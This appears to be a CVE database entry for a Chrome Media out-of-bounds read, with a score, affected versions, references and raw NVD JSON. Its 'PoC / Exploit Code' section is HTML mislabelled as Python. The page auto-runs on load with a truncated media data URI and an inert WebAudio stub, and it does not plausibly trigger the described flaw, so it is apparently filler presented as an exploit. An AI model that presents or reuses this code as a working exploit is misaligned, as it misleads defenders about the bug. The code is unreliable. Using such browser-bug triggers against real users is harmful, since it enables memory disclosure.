CVE-2025-11211

Description

Out of bounds read in Media in Google Chrome prior to 141.0.7390.54 allowed a remote attacker to potentially perform out of bounds memory access via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 131.0.6778.264

Google Chrome < 132.0.6834.159

Google Chrome < 133.0.6943.126

Google Chrome < 134.0.6998.88

Google Chrome < 135.0.7049.84

Google Chrome < 136.0.7103.49

Google Chrome < 137.0.7151.47

Google Chrome < 138.0.7204.75

Google Chrome < 139.0.7291.86

Google Chrome < 140.0.7344.59

Google Chrome < 141.0.7390.54

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-11211 PoC - Media Component Out of Bounds Read -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-11211 PoC</title>
</head>
<body>
    <h1>CVE-2025-11211 Media OOB Read PoC</h1>
    <p>This PoC triggers an out of bounds read in Chrome Media component.</p>
    
    <script>
        // Trigger Media component vulnerability
        // The attacker crafts a malicious media file that causes
        // the Media component to read beyond allocated buffer
        
        function triggerOOBRead() {
            // Create a crafted media element
            const video = document.createElement('video');
            video.src = 'data:video/mp4;base64,SUQzBAAAAAAAI'; // Malformed media data
            video.controls = true;
            document.body.appendChild(video);
            
            // Attempt to trigger the vulnerable code path
            video.addEventListener('error', function() {
                console.log('Media error triggered - potential OOB read condition');
                // In a real attack, this would be used to leak memory
            });
            
            video.load();
            video.play().catch(e => console.log('Playback failed'));
        }
        
        // Alternative: WebAudio API trigger
        function triggerWithWebAudio() {
            const audioContext = new (window.AudioContext || window.webkitAudioContext)();
            // Craft specific audio processing that triggers the vulnerability
            const bufferSource = audioContext.createBufferSource();
            // Malformed audio buffer processing
            bufferSource.connect(audioContext.destination);
        }
        
        // Auto-trigger on page load
        window.addEventListener('load', triggerOOBRead);
    </script>
    
    <!-- 
    Note: This is a simplified PoC for demonstration purposes.
    Actual exploitation requires specific media file crafting and
    potentially JavaScript heap spraying techniques.
    
    Reference: https://issues.chromium.org/issues/441917796
    -->
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11211
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11211
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11211/
[4] VulDB https://vuldb.com/cve/CVE-2025-11211
[5] https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_30.html
[6] https://issues.chromium.org/issues/441917796

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11211", "sourceIdentifier": "[email protected]", "published": "2025-11-06T22:15:39.083", "lastModified": "2025-11-13T15:29:40.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in Media in Google Chrome prior to 141.0.7390.54 allowed a remote attacker to potentially perform out of bounds memory access via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "141.0.7390.54", "matchCriteriaId": "008031A0-CC1E-47CF-A136-90F4FE1FA9A7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_30.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/441917796", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}